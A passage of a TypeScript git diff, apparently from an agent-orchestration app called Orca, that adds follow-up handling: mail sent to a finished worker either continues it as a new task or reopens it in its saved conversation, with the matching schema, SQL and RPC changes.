OrchestrationDb } from '../orchestration-db' @@ -189,12 +192,15 @@ export function transferWorkerTerminalResourceStatement( } const priorOwners = JSON.parse(resource.prior_owner_dispatch_ids) as string[] priorOwners.push(resource.owner_dispatch_id) - // A coordinator's retain belongs to its Dispatch; a kept terminal is never transferred. + // A coordinator's retain belongs to its Dispatch; the user's Keep open belongs to the worker. this.db .prepare( `UPDATE worker_terminal_resources SET owner_dispatch_id = ?, prior_owner_dispatch_ids = ?, - release_state = 'not_requested', retained_reason = NULL, + release_state = CASE WHEN ${USER_KEPT_WORKER_TERMINAL_SQL} + THEN release_state ELSE 'not_requested' END, + retained_reason = CASE WHEN ${USER_KEPT_WORKER_TERMINAL_SQL} + THEN retained_reason END, release_requested_at = NULL, release_completed_at = NULL, release_error = NULL, auto_release_at = NULL, auto_release_dispatch_id = NULL, terminal_handle = ?, pane_key = ?, process_incarnation = ?, diff --git a/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-transfer.ts b/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-transfer.ts index 342c99bb4a6..b1716a1d772 100644 --- a/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-transfer.ts +++ b/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-transfer.ts @@ -1,7 +1,4 @@ -import { - isUserKeptWorkerTerminal, - type WorkerTerminalResourceRow -} from '../../worker-terminal-ownership' +import type { WorkerTerminalResourceRow } from '../../worker-terminal-ownership' import { OrchestrationError } from '../../orchestration-error' import { isEquivalentPaneKey } from '../pane-key-match' import type { OrchestrationDb } from '../orchestration-db' @@ -44,12 +41,6 @@ export function findTransferableWorkerTerminalResource( `Terminal ${params.terminalHandle} has a release in progress; wait for cleanup or use another terminal.` ) } - if (exact.some(isUserKeptWorkerTerminal)) { - throw new OrchestrationError( - 'terminal_kept_open', - `Terminal ${params.terminalHandle} was kept open by the user; start the worker in another terminal.` - ) - } return exact.find( (candidate) => candidate.ownership_state === 'owned' && diff --git a/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-user-keep.ts b/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-user-keep.ts index 789c343e7fc..976eb32deab 100644 --- a/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-user-keep.ts +++ b/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-user-keep.ts @@ -51,7 +51,7 @@ const KEEPABLE_RESOURCE_SQL = `ownership_state = 'owned' AND (release_state = 'n const KEPT_RESOURCE_SQL = `ownership_state = 'owned' AND ${USER_KEPT_WORKER_TERMINAL_SQL}` -/** Keep open: neither Orca nor the coordinator closes or reuses the worker until the user allows auto-close. */ +/** Keep open: neither Orca nor the coordinator closes the worker until the user allows auto-close; follow-ups keep it kept. */ export function keepWorkerTerminalOpen(this: OrchestrationDb, paneKey: string): number { this.db.exec('BEGIN IMMEDIATE') try { diff --git a/src/main/runtime/orchestration/orchestration-schema-version-skew.ts b/src/main/runtime/orchestration/orchestration-schema-version-skew.ts index 78a2eaefe65..0f2a7dc8d4c 100644 --- a/src/main/runtime/orchestration/orchestration-schema-version-skew.ts +++ b/src/main/runtime/orchestration/orchestration-schema-version-skew.ts @@ -51,7 +51,10 @@ const VERSIONED_POST_V6_COLUMNS = [ { version: 44, table: 'worker_terminal_resources', column: 'auto_release_at' }, { version: 44, table: 'worker_terminal_resources', column: 'auto_release_dispatch_id' }, { version: 45, table: 'federated_dispatches', column: 'home_auto_release_at' }, - { version: 45, table: 'federated_dispatches', column: 'home_auto_release_state' } + { version: 45, table: 'federated_dispatches', column: 'home_auto_release_state' }, + { version: 46, table: 'dispatch_contexts', column: 'follow_up_of_dispatch_id' }, + { version: 46, table: 'dispatch_contexts', column: 'follow_up_mail_at' }, + { version: 46, table: 'worker_terminal_resources', column: 'resume_session' } ] as const // v34 stamps can lack these repairs; v35 probes must verify their stored defaults. diff --git a/src/main/runtime/orchestration/structured-session-mail-target.test.ts b/src/main/runtime/orchestration/structured-session-mail-target.test.ts index d78b87d9bc9..db078200681 100644 --- a/src/main/runtime/orchestration/structured-session-mail-target.test.ts +++ b/src/main/runtime/orchestration/structured-session-mail-target.test.ts @@ -250,6 +250,7 @@ describe('the idle edge after a restart, before any orchestration call', () => { _orchestrationDb: null, ensureOrchestrationFederationRelay: vi.fn(), scheduleRestoredMessageRepoints: vi.fn(), + continueRestoredWorkerMail: vi.fn(), deliverPendingMessagesForHandle: (handle: string) => delivered.push(handle), notifyStructuredSessionJournalActivity: vi.fn() }) diff --git a/src/main/runtime/orchestration/types.ts b/src/main/runtime/orchestration/types.ts index f231b9cadfa..321aa554091 100644 --- a/src/main/runtime/orchestration/types.ts +++ b/src/main/runtime/orchestration/types.ts @@ -318,6 +318,10 @@ export type DispatchContextRow = { completed_at: string | null created_at: string last_heartbeat_at: string | null + /** The settled Dispatch whose worker this follow-up continues. */ + follow_up_of_dispatch_id: string | null + /** When its worker reported with coordinator mail unread, until that mail continues it. */ + follow_up_mail_at: string | null } export type DecisionGateRow = { diff --git a/src/main/runtime/orchestration/worker-terminal-ownership.ts b/src/main/runtime/orchestration/worker-terminal-ownership.ts index 1b52d8a3bc0..3c8cd496666 100644 --- a/src/main/runtime/orchestration/worker-terminal-ownership.ts +++ b/src/main/runtime/orchestration/worker-terminal-ownership.ts @@ -56,6 +56,8 @@ export type WorkerTerminalResourceRow = { auto_release_dispatch_id: string | null created_at: string updated_at: string + /** JSON WorkerResumeSession: the conversation a closed terminal worker reopens in. */ + resume_session: string | null } // Terminal state exposed by worker-list; process accounting, never Task/Dispatch outcome. diff --git a/src/main/runtime/rpc/methods/orchestration/federation/federated-worker-show.ts b/src/main/runtime/rpc/methods/orchestration/federation/federated-worker-show.ts index e579d6ca8d2..847131c394f 100644 --- a/src/main/runtime/rpc/methods/orchestration/federation/federated-worker-show.ts +++ b/src/main/runtime/rpc/methods/orchestration/federation/federated-worker-show.ts @@ -1,12 +1,12 @@ import type { OrchestrationFleetWorker } from '../../../../../../shared/orchestration-fleet-projection' import type { OrchestrationDb } from '../../../../orchestration/db' +import { exposeDispatchContext } from '../worker/dispatch-context-exposure' import { OrchestrationError } from '../../../../orchestration/orchestration-error' import { liveFederatedHomeAutoReleaseAt } from '../../../../orchestration/worker-terminal-ownership' import type { DispatchContextRow, FederatedDispatchRow } from '../../../../orchestration/types' import type { OrcaRuntimeService } from '../../../../orca-runtime' import { callFederatedWorkerShow, - exposeDispatchContext, exposeFederatedWorkerObservation, exposeWorker, projectFleetWorkerPage, diff --git a/src/main/runtime/rpc/methods/orchestration/messaging/send-control-mail.ts b/src/main/runtime/rpc/methods/orchestration/messaging/send-control-mail.ts index d77a436669d..0b207146898 100644 --- a/src/main/runtime/rpc/methods/orchestration/messaging/send-control-mail.ts +++ b/src/main/runtime/rpc/methods/orchestration/messaging/send-control-mail.ts @@ -46,10 +46,15 @@ export function sendFederatedControlMail(args: { `Federated Dispatch ${dispatchId} does not support coordinator control mail; start a fresh worker after updating its Orca server.` ) } - if (db.getWorkerDispatch(dispatchId)?.state !== 'ready') { + const state = db.getWorkerDispatch(dispatchId)?.state + if (state !== 'ready') { + const server = federatedTarget.environment_name + // Paired servers cannot continue a finished worker yet; steering a running one still works. throw new OrchestrationError( 'dispatch_inactive', - `Federated Dispatch ${dispatchId} is not active.` + state && ['succeeded', 'failed', 'stopped', 'abandoned'].includes(state) + ? `Dispatch ${dispatchId} finished on ${server}, which cannot take follow-ups for finished workers yet. Start a new worker there with \`orca orchestration worker-start --on ${server}\`.` + : `Dispatch ${dispatchId} on ${server} is not confirmed running (${state ?? 'unknown'}), so this message was not sent. Check it with \`orca orchestration worker-show --dispatch ${dispatchId}\` before starting another worker.` ) } if (params.type === 'worker_done' || params.type === 'heartbeat') { diff --git a/src/main/runtime/rpc/methods/orchestration/messaging/send-methods.ts b/src/main/runtime/rpc/methods/orchestration/messaging/send-methods.ts index cfa98e82e3f..0ba04050433 100644 --- a/src/main/runtime/rpc/methods/orchestration/messaging/send-methods.ts +++ b/src/main/runtime/rpc/methods/orchestration/messaging/send-methods.ts @@ -33,6 +33,12 @@ import { sendGroupMessage } from './send-group' import { sendFederatedControlMail } from './send-control-mail' import { orchestrationCallerIdentity } from '../runs/run-scope' import { assertLifecycleCallerIsNotAnotherParty } from './lifecycle-caller-fence' +import { planWorkerFollowUp, startWorkerFollowUp } from './worker-follow-up' +import { + followThroughWorkerReport, + passHeldWorkerMail, + settledDispatchId +} from './settled-worker-follow-through' export const ORCHESTRATION_SEND_METHODS = [ defineMethod({ @@ -51,6 +57,7 @@ export const ORCHESTRATION_SEND_METHODS = [ replayedMutationReceipt, orchestrationCaller, orchestrationCompatibilityEvidence, + orchestrationMutation, signal } ) => { @@ -73,6 +80,7 @@ export const ORCHESTRATION_SEND_METHODS = [ for (const target of settled ? handBackReplayTargets(db, settled) : []) { runtime.notifyMessageArrived(target.to, target.type) } + followThroughWorkerReport(runtime, db, settled) return stripMutationReplayNudge(replayedMutationReceipt) } const from = params.from ?? 'unknown' @@ -189,7 +197,7 @@ export const ORCHESTRATION_SEND_METHODS = [ sendWarnings.length > 0 ? { ...receipt, warnings: sendWarnings } : receipt if (!isGroupAddress(to)) { - const addressedDispatchId = to.startsWith('dispatch:') + let addressedDispatchId = to.startsWith('dispatch:') ? to.slice('dispatch:'.length) : undefined const federatedTarget = @@ -198,6 +206,34 @@ export const ORCHESTRATION_SEND_METHODS = [ : undefined // Federated targets perform their own liveness check before relaying. if (addressedDispatchId && !federatedTarget) { + const plan = planWorkerFollowUp(db, addressedDispatchId, params.type ?? 'status') + // Only a settled worker awaits; mail to a working one stays synchronous until it is inserted. + const followUp = + plan?.kind === 'start' + ? await startWorkerFollowUp({ + ctx: { + runtime, + orchestrationCompatibilityEvidence, + orchestrationCaller, + orchestrationMutation + }, + db, + plan, + from, + message: params + }) + : plan + // A dispatch: address carries no recipient warnings, so `next` stays last. + if (followUp?.kind === 'started') { + if (typeof followUp.receipt.dispatchId === 'string') { + passHeldWorkerMail(runtime, db, followUp.receipt.dispatchId) + } + return followUp.receipt + } + if (followUp) { + addressedDispatchId = followUp.dispatchId + to = `dispatch:${addressedDispatchId}` + } assertDispatchMailboxDeliverable(runtime, db, addressedDispatchId) const runBound = resolveRunBoundDispatchRecipient( runtime, @@ -225,7 +261,7 @@ export const ORCHESTRATION_SEND_METHODS = [ if (federatedControl !== undefined) { return federatedControl } - return sendPointToPointMessage({ + const sent = sendPointToPointMessage({ params, runtime, db, @@ -244,6 +280,12 @@ export const ORCHESTRATION_SEND_METHODS = [ markWorkerDoneMutationEffectFree, withSendWarnings }) + followThroughWorkerReport( + runtime, + db, + params.type === 'worker_done' ? settledDispatchId(sent) : undefined + ) + return sent } return sendGroupMessage({ params, @@ -263,16 +305,3 @@ export const ORCHESTRATION_SEND_METHODS = [ } }) ] - -function settledDispatchId(receipt: unknown): string | undefined { - if (!receipt || typeof receipt !== 'object' || !('lifecycle' in receipt)) { - return undefined - } - const { lifecycle } = receipt - return lifecycle && - typeof lifecycle === 'object' && - 'dispatchId' in lifecycle && - typeof lifecycle.dispatchId === 'string' - ? lifecycle.dispatchId - : undefined -} diff --git a/src/main/runtime/rpc/methods/orchestration/messaging/settled-worker-follow-through.ts b/src/main/runtime/rpc/methods/orchestration/messaging/settled-worker-follow-through.ts new file mode 100644 index 00000000000..4ce8339ebae --- /dev/null +++ b/src/main/runtime/rpc/methods/orchestration/messaging/settled-worker-follow-through.ts @@ -0,0 +1,259 @@ +import { parseOrcaSessionAddress } from '../../../../../../shared/orca-session-address' +import type { OrcaRuntimeService } from '../../../../orca-runtime' +import type { OrchestrationDb } from '../../../../orchestration/db' +import { + clearFollowUpMail, + markUnreadFollowUpMail, + restoreFollowUpMail, + FOLLOW_UP_MESSAGE_TYPES, + listDispatchesWithFollowUpMail +} from '../../../../orchestration/db/dispatch-context/worker-follow-up-lineage' +import type { OrchestrationSessionCaller } from '../../../../orchestration/orchestration-caller-identity' +import { resolveOrcaSessionParty } from '../../../../orchestration/orchestration-party' +import { readStructuredAgentSessionRecord } from '../../../../structured-worker-authority' +import { createHash } from 'node:crypto' +import { escalateWorkerFailure } from '../../../../orchestration/worker-failure-escalation' +import { dispatchReportMailbox } from '../../../../orchestration/dispatch-report-mailbox' +import { + planWorkerFollowUp, + startWorkerFollowUp, + type WorkerFollowUpOutcome +} from './worker-follow-up' +import { captureReportedWorkerResumeSession } from '../worker/worker-resume-session-capture' +import { reportedWorkerOutcome } from '../worker/worker-start-receipt' + +/** After a report settles (or replays): save the worker's conversation, then continue mail it never read. */ +export function followThroughWorkerReport( + runtime: OrcaRuntimeService, + db: OrchestrationDb, + dispatchId: string | undefined +): void { + if (!dispatchId) { + return + } + captureReportedWorkerResumeSession(runtime, db, dispatchId) + continueUnreadWorkerMail(runtime, db, dispatchId) +} + +/** Mail the worker never read before it reported is not lost: it goes to the worker's newer Dispatch, + * or becomes one, as a send after the report would. Its report marked it, so a restart resumes this. */ +export function continueUnreadWorkerMail( + runtime: OrcaRuntimeService, + db: OrchestrationDb, + dispatchId: string +): void { + void continueUnreadMail(runtime, db, dispatchId).catch((error: unknown) => { + console.warn('[orchestration] unread worker mail was not continued', dispatchId, error) + }) +} + +async function continueUnreadMail( + runtime: OrcaRuntimeService, + db: OrchestrationDb, + dispatchId: string +): Promise { + const unread = db.getUnreadMessages(`dispatch:${dispatchId}`, [...FOLLOW_UP_MESSAGE_TYPES]) + const first = unread[0] + if (!first) { + clearFollowUpMail(db, dispatchId) + return + } + let outcome: WorkerFollowUpOutcome | undefined + try { + const plan = planWorkerFollowUp(db, dispatchId, first.type) + outcome = + plan?.kind === 'start' + ? await startWorkerFollowUp({ + ctx: { runtime, orchestrationCaller: senderSession(db, first.from_handle) }, + db, + plan, + from: first.from_handle, + message: { + subject: + unread.length === 1 + ? first.subject + : `${first.subject} (+${unread.length - 1} more)`, + body: + unread.length === 1 + ? first.body || first.subject + : unread + .map((message) => `${message.subject}\n${message.body}`.trim()) + .join('\n\n') + }, + consumesMessageIds: unread.map((message) => message.id) + }) + : plan + } catch (error) { + // The mail stays unread and marked, so the next start, report replay or send retries it. + noticeUnreadMailNotContinued( + runtime, + db, + dispatchId, + error instanceof Error ? error.message : String(error) + ) + return + } + const startedId = outcome?.kind === 'started' ? outcome.receipt.dispatchId : undefined + const followUpId = outcome?.kind === 'steer' ? outcome.dispatchId : startedId + if (typeof followUpId !== 'string') { + return + } + if (outcome?.kind === 'started' && custodyOf(db, followUpId) === 'failed') { + // What it took goes back with the rest of the worker's held mail. + restoreFollowUpMail( + db, + unread.map((message) => message.id) + ) + // A report replayed while it started may have cleared the marker the restored mail needs. + markUnreadFollowUpMail(db, dispatchId) + } + passHeldWorkerMail(runtime, db, followUpId) +} + +/** Whether a follow-up took over its worker: ready or already reported, failed, or still starting. */ +function custodyOf( + db: OrchestrationDb, + dispatchId: string +): 'ready' | 'reported' | 'starting' | 'failed' { + const worker = db.getWorkerDispatch(dispatchId) + if (reportedWorkerOutcome(worker)) { + return 'reported' + } + return worker?.state === 'ready' || worker?.state === 'starting' ? worker.state : 'failed' +} + +/** Mail held anywhere in a worker's lineage follows its newest follow-up: delivered once that one is ready or + * has reported, kept unread on it with one notice when its start failed (so the next send takes it). */ +export function passHeldWorkerMail( + runtime: OrcaRuntimeService, + db: OrchestrationDb, + followUpId: string +): void { + const custody = custodyOf(db, followUpId) + if (custody === 'starting') { + return + } + const worker = db.getWorkerDispatch(followUpId) + const seen = new Set([followUpId]) + let source = db.getDispatchContextById(followUpId)?.follow_up_of_dispatch_id + for ( + ; + source && !seen.has(source); + source = db.getDispatchContextById(source)?.follow_up_of_dispatch_id + ) { + seen.add(source) + const first = db.getDispatchContextById(source)?.follow_up_mail_at + ? db.getUnreadMessages(`dispatch:${source}`, [...FOLLOW_UP_MESSAGE_TYPES])[0] + : undefined + if (first) { + if (custody === 'failed') { + const reason = worker?.last_error ?? worker?.state ?? 'unknown' + noticeUnreadMailNotContinued(runtime, db, source, reason) + } + let page + do { + page = db.routeUnreadDirectMessagesToDispatchMailbox( + followUpId, + first.run_id, + `dispatch:${source}` + ) + for (const type of custody === 'failed' ? [] : page.types) { + runtime.notifyMessageArrived(`dispatch:${followUpId}`, type) + } + } while (page.hasMore) + } + clearFollowUpMail(db, source) + } + if (custody !== 'ready') { + // A follow-up that already finished holds this mail as any finished worker does. + markUnreadFollowUpMail(db, followUpId) + } + if (custody === 'reported') { + continueUnreadWorkerMail(runtime, db, followUpId) + } +} + +/** Nothing is lost silently: the coordinator hears that its mail did not reach the worker, once per batch. */ +function noticeUnreadMailNotContinued( + runtime: OrcaRuntimeService, + db: OrchestrationDb, + dispatchId: string, + reason: string +): void { + const dispatch = db.getDispatchContextById(dispatchId) + if (!dispatch) { + return + } + escalateWorkerFailure( + db, + dispatch, + { + id: `msg_followup_${createHash('sha256') + .update(JSON.stringify([dispatchId, dispatch.follow_up_mail_at])) + .digest('hex') + .slice(0, 24)}`, + from: `dispatch:${dispatchId}`, + mailbox: () => dispatchReportMailbox(db, dispatch), + describe: (task) => ({ + subject: 'Mail did not reach the finished worker', + body: `Orca could not continue the worker of ${task} with the mail it had not read before reporting: ${reason}. The mail is kept; send to dispatch:${dispatchId} again to retry.` + }), + payload: { dispatchId, reason } + }, + (handle, type) => runtime.notifyMessageArrived(handle, type) + ) +} + +/** The Dispatch a worker_done receipt settled. */ +export function settledDispatchId(receipt: unknown): string | undefined { + if (!receipt || typeof receipt !== 'object' || !('lifecycle' in receipt)) { + return undefined + } + const { lifecycle } = receipt + return lifecycle && + typeof lifecycle === 'object' && + 'dispatchId' in lifecycle && + typeof lifecycle.dispatchId === 'string' + ? lifecycle.dispatchId + : undefined +} + +/** After the open returns, so continuing a worker can use the database it is opening. */ +export function continueRestoredWorkerMailSoon( + runtime: OrcaRuntimeService, + db: OrchestrationDb, + isCurrent: () => boolean +): void { + setTimeout(() => { + if (isCurrent()) { + continueAllUnreadWorkerMail(runtime, db) + } + }, 0).unref?.() +} + +/** At startup: continue what a restart interrupted between a report and its follow-up. */ +export function continueAllUnreadWorkerMail( + runtime: OrcaRuntimeService, + db: OrchestrationDb +): void { + try { + for (const dispatchId of listDispatchesWithFollowUpMail(db)) { + continueUnreadWorkerMail(runtime, db, dispatchId) + } + } catch (error) { + // A database closed before this ran (shutdown, tests) has nothing left to continue. + console.warn('[orchestration] restored worker mail was not scanned', error) + } +} + +function senderSession(db: OrchestrationDb, from: string): OrchestrationSessionCaller | undefined { + const sessionId = parseOrcaSessionAddress(from) + const record = sessionId ? readStructuredAgentSessionRecord(sessionId) : null + return sessionId && record + ? { + ...resolveOrcaSessionParty(sessionId, db), + sessionId, + workspaceId: record.location.workspaceId + } + : undefined +} diff --git a/src/main/runtime/rpc/methods/orchestration/messaging/worker-follow-up.ts b/src/main/runtime/rpc/methods/orchestration/messaging/worker-follow-up.ts new file mode 100644 index 00000000000..3218a73c4b4 --- /dev/null +++ b/src/main/runtime/rpc/methods/orchestration/messaging/worker-follow-up.ts @@ -0,0 +1,146 @@ +/** A message to a worker that finished becomes its next Task: worker-start run for the sender, on that same worker. + * Open workers take it in place, closed ones reopen in their saved conversation, and agents that keep none start fresh. */ + +import type { OrchestrationDb } from '../../../../orchestration/db' +import { + carryWorkerResumeSession, + FOLLOW_UP_MESSAGE_TYPES, + resolveWorkerLineage +} from '../../../../orchestration/db/dispatch-context/worker-follow-up-lineage' +import { OrchestrationError } from '../../../../orchestration/orchestration-error' +import type { DispatchContextRow, MessageType } from '../../../../orchestration/types' +import type { WorkerTerminalResourceRow } from '../../../../orchestration/worker-terminal-ownership' +import type { RpcContext } from '../../../core' +import { startWorker } from '../worker/workers' +import { chooseWorkerFollowUpPlacement } from '../worker/worker-follow-up-choice' + +const ACTIVE_STATUSES: readonly string[] = ['pending', 'dispatched'] + +export type WorkerFollowUpPlan = + | { kind: 'steer'; dispatchId: string } + | { kind: 'start'; latest: DispatchContextRow; resource: WorkerTerminalResourceRow | undefined } + +export type WorkerFollowUpOutcome = + | { kind: 'steer'; dispatchId: string } + | { kind: 'started'; receipt: Record } + +export type FollowUpContext = Pick< + RpcContext, + 'runtime' | 'orchestrationCompatibilityEvidence' | 'orchestrationCaller' | 'orchestrationMutation' +> + +/** Synchronous, so a send to a working worker is admitted as mail before anything can settle it. + * Undefined: the mail path decides (a working worker, lifecycle types, paired servers, no worker-start). */ +export function planWorkerFollowUp( + db: OrchestrationDb, + dispatchId: string, + type: MessageType +): WorkerFollowUpPlan | undefined { + const addressed = db.getDispatchContextById(dispatchId) + // A working worker reads its mail; only a settled Dispatch can have been continued. + const lineage = + addressed && !ACTIVE_STATUSES.includes(addressed.status) + ? resolveWorkerLineage(db, addressed.id) + : undefined + if (!lineage) { + return undefined + } + const { latest, resource } = lineage + if (ACTIVE_STATUSES.includes(latest.status)) { + return { kind: 'steer', dispatchId: latest.id } + } + if ( + !FOLLOW_UP_MESSAGE_TYPES.some((followUpType) => followUpType === type) || + db.getFederatedDispatch(latest.id) || + !db.getWorkerDispatch(resource?.origin_dispatch_id ?? latest.id) + ) { + return latest.id === dispatchId ? undefined : { kind: 'steer', dispatchId: latest.id } + } + return { kind: 'start', latest, resource } +} + +export async function startWorkerFollowUp(args: { + ctx: FollowUpContext + db: OrchestrationDb + plan: Extract + from: string + message: { subject: string; body?: string | undefined } + /** Unread mail this follow-up carries, read in the same claim. */ + consumesMessageIds?: readonly string[] +}): Promise { + const { ctx, db } = args + const { latest, resource } = args.plan + const { subject, body } = args.message + const placement = await chooseWorkerFollowUpPlacement(ctx.runtime, db, latest, resource) + const { reopen } = placement + let freshInstead = false + const spec = [ + body || subject, + placement.delivery === 'started_fresh' ? placement.earlierWork : undefined + ] + .filter(Boolean) + .join('\n\n') + let receipt: unknown + try { + receipt = await startWorker( + { + from: args.from, + run: latest.run_id, + spec, + taskTitle: subject, + worktree: `id:${placement.worktreeId}`, + ...(placement.terminal ? { terminal: placement.terminal } : {}), + ...(placement.agent ? { agent: placement.agent } : {}), + ...(placement.model ? { model: placement.model } : {}), + ...(placement.effort ? { effort: placement.effort } : {}) + }, + // The send's own receipt is already pending; the follow-up only names what it accepted. + { ...ctx, orchestrationMutation: undefined }, + { + of: latest.id, + ...(ctx.orchestrationMutation ? { acceptedBy: ctx.orchestrationMutation } : {}), + ...(args.consumesMessageIds ? { consumesMessageIds: args.consumesMessageIds } : {}), + ...(placement.earlierWork ? { earlierWork: placement.earlierWork } : {}), + ...(reopen + ? { + reopen: async (dispatchId: string) => { + const reopened = await reopen(dispatchId) + freshInstead = reopened === null + return reopened + } + } + : {}) + } + ) + } catch (error) { + // A racing send claimed this worker first; this message steers that follow-up. + if (error instanceof OrchestrationError && error.code === 'follow_up_claimed') { + return { kind: 'steer', dispatchId: readClaimedDispatchId(error) ?? latest.id } + } + throw error + } + const started = { + ...(receipt && typeof receipt === 'object' ? receipt : {}), + delivery: freshInstead ? 'started_fresh' : placement.delivery, + followUpOf: latest.id + } + if ( + resource && + 'dispatchId' in started && + typeof started.dispatchId === 'string' && + reopen && + !freshInstead + ) { + carryWorkerResumeSession(db, started.dispatchId, resource) + } + return { kind: 'started', receipt: started } +} + +function readClaimedDispatchId(error: OrchestrationError): string | undefined { + const data = error.data + const id = + typeof data === 'object' && data !== null && 'followUpDispatchId' in data + ? data.followUpDispatchId + : undefined + return typeof id === 'string' ? id : undefined +} diff --git a/src/main/runtime/rpc/methods/orchestration/worker/deliver-worker-dispatch-preamble.ts b/src/main/runtime/rpc/methods/orchestration/worker/deliver-worker-dispatch-preamble.ts index fc9a4bf7640..6515bf046f7 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/deliver-worker-dispatch-preamble.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker/deliver-worker-dispatch-preamble.ts @@ -134,6 +134,7 @@ function chatTaskTurnStart(delivery: ChatTaskDelivery): WorkerTurnStartObservati case 'queued': return { verdict: 'unobserved', + queued: true, reason: "The task is waiting as a card in the chat's queue and is sent when the queue reaches " + 'it. If the worker then reports, this Dispatch settles normally. worker-abandon ' + diff --git a/src/main/runtime/rpc/methods/orchestration/worker/dispatch-context-exposure.ts b/src/main/runtime/rpc/methods/orchestration/worker/dispatch-context-exposure.ts new file mode 100644 index 00000000000..2d3a7532840 --- /dev/null +++ b/src/main/runtime/rpc/methods/orchestration/worker/dispatch-context-exposure.ts @@ -0,0 +1,31 @@ +import { parseWorkerTerminalHostScope } from '../../../../../../shared/worker-terminal-host-scope' +import type { DispatchContextRow } from '../../../../orchestration/types' + +// Hide authority hashes and decode host_scope; emit one camelCase shape matching exposeWorker. +export function exposeDispatchContext(dispatch: DispatchContextRow) { + return { + id: dispatch.id, + runId: dispatch.run_id, + taskId: dispatch.task_id, + // Keep dispatch.task_id beside the rename because shipped CLIs still read it. + task_id: dispatch.task_id, + contractVersion: dispatch.contract_version, + assigneeHandle: dispatch.assignee_handle, + assigneePaneKey: dispatch.assignee_pane_key, + processIncarnation: dispatch.process_incarnation, + capabilityRevokedAt: dispatch.capability_revoked_at, + retryOfDispatchId: dispatch.retry_of_dispatch_id, + creatorDispatchId: dispatch.creator_dispatch_id, + followUpOf: dispatch.follow_up_of_dispatch_id, + hostScope: parseWorkerTerminalHostScope(dispatch.host_scope), + status: dispatch.status, + failureCount: dispatch.failure_count, + lastFailure: dispatch.last_failure, + terminationReason: dispatch.termination_reason, + depth: dispatch.depth, + dispatchedAt: dispatch.dispatched_at, + completedAt: dispatch.completed_at, + createdAt: dispatch.created_at, + lastHeartbeatAt: dispatch.last_heartbeat_at + } +} diff --git a/src/main/runtime/rpc/methods/orchestration/worker/local-worker-start-dispatch.ts b/src/main/runtime/rpc/methods/orchestration/worker/local-worker-start-dispatch.ts index 48399431a6f..6918ced741c 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/local-worker-start-dispatch.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker/local-worker-start-dispatch.ts @@ -15,7 +15,8 @@ export function createLocalWorkerStartDispatch( callerSession, existingTask, orchestrationMutation, - helperCreator + helperCreator, + followUp }: Parameters[0], { params, @@ -78,6 +79,9 @@ export function createLocalWorkerStartDispatch( retryOf: params.retryOf, startOptions, runtimeEpoch: runtime.getRuntimeId(), - mutationReceipt: orchestrationMutation + mutationReceipt: orchestrationMutation, + followUpOf: followUp?.of, + acceptedBy: followUp?.acceptedBy, + consumesMessageIds: followUp?.consumesMessageIds }) } diff --git a/src/main/runtime/rpc/methods/orchestration/worker/local-worker-start.ts b/src/main/runtime/rpc/methods/orchestration/worker/local-worker-start.ts index dc945f8ed9d..07d1892a8a9 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/local-worker-start.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker/local-worker-start.ts @@ -28,7 +28,7 @@ import { import { failWorkerStartWithReceipt } from './worker-start-receipt' import { assertExplicitWorkerUsable } from './explicit-worker-terminal-validation' import { resolveDispatchAssigneeParty } from '../../../../orchestration/orchestration-party' -import { CHAT_WORKER_AUTHORITY, chatAssigneeOf, chatWorkerMode } from '../chat-assignee-admission' +import { chatAssigneeOf, chatWorkerMode } from '../chat-assignee-admission' import { recordCreatedWorkerTerminalCustody } from './created-worker-terminal-custody' import { releaseRetriedWorkerTerminal } from './retried-worker-terminal-release' import { requireWorkerAuthority, type WorkerEffect } from './worker-topology' @@ -37,6 +37,7 @@ import { deliverAndSettleWorkerStartReadiness } from './worker-start-readiness-s import type { WorkerStartMutation } from './worker-start-mutation' import { prepareWorkerStartCard } from '../../../../orchestration/worker-start-card' import { rebindReusedStructuredWorker } from '../../orchestration-structured-worker-session' +import { placedWorkerParty, type WorkerFollowUp } from './worker-follow-up-placement' export async function startLocalWorker(args: { params: WorkerStartInput @@ -53,6 +54,7 @@ export async function startLocalWorker(args: { mode: WorkerStartModeReceipt /** Set when a worker starts its own helper; the helper reports to this Dispatch. */ helperCreator?: DispatchContextRow + followUp?: WorkerFollowUp }): Promise { const { runtime, db, coordinator, callerSession, orchestrationMutation } = args const recordStart = prepareWorkerStartCard(runtime, callerSession) @@ -160,6 +162,9 @@ export async function startLocalWorker(args: { let terminalHandle = params.terminal let placed: Awaited> | undefined let failedStage = 'terminal_create' + const onStage = (stage: string) => { + failedStage = stage + } let result: unknown try { placed = await placeWorkerAgent({ @@ -175,15 +180,15 @@ export async function startLocalWorker(args: { agent, launchPreferences: launch.preferences, effects, - onStage: (stage) => { - failedStage = stage - } + onStage, + followUp: args.followUp }) // New worktrees resolve host support after creation, so the final mode receipt may differ from preflight. mode = placed.mode resolvedWorktree = placed.worktree terminalHandle = placed.terminalHandle const { structuredSession, setupReceipt } = placed + const { workerChat, external, created, authority } = placedWorkerParty(placed, chat, terminal) const setupStage = { db, dispatchId: started.dispatch.id, @@ -192,7 +197,7 @@ export async function startLocalWorker(args: { setup: setupReceipt, effects } - recordCreatedWorkerTerminalCustody(runtime, setupStage, !params.terminal && !structuredSession) + recordCreatedWorkerTerminalCustody(runtime, setupStage, created && !structuredSession) if (persistGatedSetupSpawnFailure(setupStage)) { failedStage = 'setup_start' throw new Error('Setup terminal failed to start before the gated agent launch.') @@ -210,7 +215,7 @@ export async function startLocalWorker(args: { effects, timeoutMs: Math.max(0, readinessDeadline - Date.now()) }) - : chat + : workerChat ? // A chat takes its task as a queued send whatever it is doing, so nothing is waited on. null : await waitForWorkerAgentReady(runtime, terminalHandle, { @@ -234,11 +239,7 @@ export async function startLocalWorker(args: { ) } } - // A structured worker's chat keeps the pane and process its custody is held under. - const terminalAuthority = - terminal && terminal.terminalHandle === null - ? CHAT_WORKER_AUTHORITY - : requireWorkerAuthority(runtime, terminalHandle) + const terminalAuthority = authority ?? requireWorkerAuthority(runtime, 